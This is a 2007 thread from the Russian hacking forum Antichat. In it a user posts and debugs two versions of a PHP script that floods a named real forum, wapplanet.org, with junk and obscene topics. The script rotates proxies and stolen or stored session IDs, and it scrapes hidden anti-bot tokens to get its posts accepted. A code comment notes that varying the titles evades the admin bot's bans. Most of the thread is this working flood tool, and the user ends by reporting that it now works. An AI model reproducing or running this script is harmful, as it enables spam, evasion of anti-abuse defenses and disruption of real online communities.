ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

19.05.2007, 20:02
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
пытаюсь создать через проксик. сделал так.
Код:
<?
set_time_limit(0);
#/*UTF-8*/
function make_seed() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());#/*чтобы случайные числа генерировались заново*/
for($jj=1;$jj<14;$jj++){
///////
$fs=fopen("sid1.txt","r");
$sid=fgets($fs);
fclose($fs);
////////
//$sid = "h73qYO44";/**твое ид Авторизируйся и получи его**/
$indexForum = $jj;/*ИД ФОРУМА*/
$Referer = "http://wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm";
$UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)";
$countOfMessages = 10; #число сообщенией(тем);
for($i = 0;$i < $countOfMessages;$i++){
srand(make_seed());
$randNum0 = rand(1,2000);
$randNum1 = rand(1,2000);
$randNum2 = rand(3000,4000);
$x = $randNum0/$randNum2;
$y = $randNum1/$randNum2;
$UserAgent = $x*$y;
$head = urldecode(urlencode("DezaPidor".$x));
$message = urldecode(urlencode("PizduiNahui!".$y));
################################################## ###
/*
сначала методом гет гружу страницу с считываю скырыте поля
затем методом пост отправляю запрос=)на создание темы
при одинаковых именах темы для юзеров не множаться
а вот для админа(бота) да-------->бан
*/
$proxy = "165.228.128.10";
$port="3128";
$fp = fsockopen($proxy, $port);
$headers_s = "GET ".$Referer." HTTP/1.1\r\n";
$headers_s.= "Accept: */*\r\n";
$headers_s.= "Accept-Encoding: gzip, deflate\r\n";
#$headers_s.= "Referer: http://www.wapplanet.org\r\n";
$headers_s.= "Accept-Language: ru\r\n";
#$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers_s.= "User-Agent: ".$UserAgent."\r\n";
/*через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же*/
$headers_s.= "Host: www.wapplanet.org\r\n" ;
#$headers_s.= "Cache-Control: no-cache\r\n";
$headers_s.= "Proxy-Connection: Close\n\n";
$headers_s.="\r\n";
//echo "<pre>";
//echo $headers_s ;
//echo "</pre>";
fputs($fp, $headers_s);
$getText ="";
while(!feof($fp))
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.= fgets($fp,1000);
fclose($fp);
echo $getText.'</br>';
preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd);
preg_match('/\d{7,}/',$rnd[0],$rnd);
echo $rnd[0]."<br/>";
preg_match('/snd\d{7,}/',$getText,$snd);
echo $snd[0]."<br/>";
################################################## ##
$data = "http://wapplanet.org/forum/subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
$headers = "POST /forum/ HTTP/1.1\r\n";
$headers .= "Accept: */*\r\n";
$headers .= "Referer: http://www.wapplanet.org\r\n";
$headers .= "Accept-Language: ru\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Accept-Encoding: gzip, deflate\r\n";
$headers .= "User-Agent: ".$UserAgent."\r\n";
$headers .= "Host: www.wapplanet.org\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Proxy-Connection: Close\n\n";
$headers .= "Cache-Control: no-cache\r\n\r\n";
$headers .= $data;
//echo "<pre>";
//echo "###<br/>";
//echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>";
//echo $headers;
//echo "</pre>";
echo "f=".$jj." p=".$i."<br>";
#/*
$fpFlood = fsockopen($proxy, $port);
fputs($fpFlood, $headers);
$getText ="";
while(!feof($fpFlood))
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.= fgets($fpFlood,1000);
fclose($fpFlood);
/**/
####################
//echo $getText.'</br>';
#/**/
#/*запускал с локального хоста Поэтому с кириллицей проблемы (в теме и сообщении) пока не сохранил в utf-8*/
};
}
?>
непашет. почему?
|
|
|

20.05.2007, 18:57
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
блин. шото ничё ничё не понял. подскажите где почитать про http протокол. и др
UPD: ужо нашел
Последний раз редактировалось mr.The; 20.05.2007 в 19:20..
|
|
|

21.05.2007, 05:23
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
Сообщение от mr.The
блин. шото ничё ничё не понял. подскажите где почитать про http протокол. и др
UPD: ужо нашел
_http://zeus.sai.msu.ru:7000/nets/semenov/4/45/http4561.shtml
Последний раз редактировалось mR_LiNK[deface_0nl; 21.05.2007 в 05:26..
|
|
|

27.05.2007, 14:31
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
наконецто дошли руки доделать скрипт. но выдаёт ошибку
Warning: fsockopen() expects parameter 2 to be long, string given in z:\home\xak\www\for\index.php on line 61
вот сам скрипт
PHP код:
<?
set_time_limit(0);
#/*UTF-8*/
function make_seed() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());#/*чтобы случайные числа генерировались заново*/
$fp=fopen("proxies.txt","r"); //файл с проксями вида адрес:потр
$listp = fread($fp, 65000);
fclose($fp);
$proxa = explode("\n", $listp);
$counter=count($proxa);
for($j=0;$j<$counter;$j++){
$pp = explode(":", $proxa[$j]);
$proxy =urldecode( $pp[0]);
$port = urldecode($pp[1]);
$fs=fopen("sid.txt","r");
$lists = fread($fs, 65000);
fclose($fs);
$sida = explode("\n", $lists);
if ($j>count($sida)){
echo "<b>Sid закончились!</b>";
exit;
};
$sid = $sida[$j];
$indexForum = $j;
$Referer = "http://www.wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm";
$UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)";
$countOfMessages = 5; #число сообщенией(тем);
for($i = 0;$i < $countOfMessages;$i++){
srand(make_seed());
$randNum0 = rand(1,2000);
$randNum1 = rand(1,2000);
$randNum2 = rand(3000,4000);
$x = $randNum0/$randNum2;
$y = $randNum1/$randNum2;
$UserAgent = $x*$y;
$head = urldecode(urlencode("tema".$x));
$message = urldecode(urlencode("Post".$y));
$fp = fsockopen($proxy,$port);
$headers_s = "GET ".$Referer." HTTP/1.1\r\n";
$headers_s.= "Accept: /*\r\n";
$headers_s.= "Accept-Encoding: gzip, deflate\r\n";
$headers_s.= "Referer: http://www.wapplanet.org\r\n";
$headers_s.= "Accept-Language: ru\r\n";
#$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers_s.= "User-Agent: ".$UserAgent."\r\n";
//через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же
$headers_s.= "Host: www.wapplanet.org\r\n" ;
#$headers_s.= "Cache-Control: no-cache\r\n";
$headers_s.= "Proxy-Connection: Close\n\n";
$headers_s.="\r\n";
echo "<pre>";
echo $headers_s ;
echo "</pre>";
fputs($fp, $headers_s);
$getText ="";
while(!feof($fp))
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.= fgets($fp,1000);
fclose($fp);
echo $getText.'</br>';
preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd);
preg_match('/\d{7,}/',$rnd[0],$rnd);
echo $rnd[0]."<br/>";
preg_match('/snd\d{7,}/',$getText,$snd);
echo $snd[0]."<br/>";
################################################## ##
$data = "forum/?subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
$headers = "POST http://www.wapplanet.org/".$data." HTTP/1.1\r\n";
$headers .= "Accept: */*\r\n";
$headers .= "Referer: http://www.wapplanet.org/ \r\n";
$headers .= "Accept-Language: ru\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Accept-Encoding: gzip, deflate\r\n";
$headers .= "User-Agent: ".$UserAgent."\r\n";
$headers .= "Host: www.wapplanet.org\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Proxy-Connection: Close\n\n";
$headers .= "Cache-Control: no-cache\r\n";
$headers .= "\r\n";
$headers .= $data;
echo "<pre>";
echo "###<br/>";
echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>";
echo $headers;
echo "</pre>";
echo "f=".$jj." p=".$i."<br>";
#/*
$fpFlood = fsockopen($proxy, $port);
fputs($fpFlood, $headers);
$getText ="";
while(!feof($fpFlood))
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.= fgets($fpFlood,1000);
fclose($fpFlood);
/**/
####################
echo $getText.'</br>';
#/**/
};
}
?>
|
|
|

27.05.2007, 16:02
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
Сенкс! помогло!
ЗЫ. плюс уже ставил)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|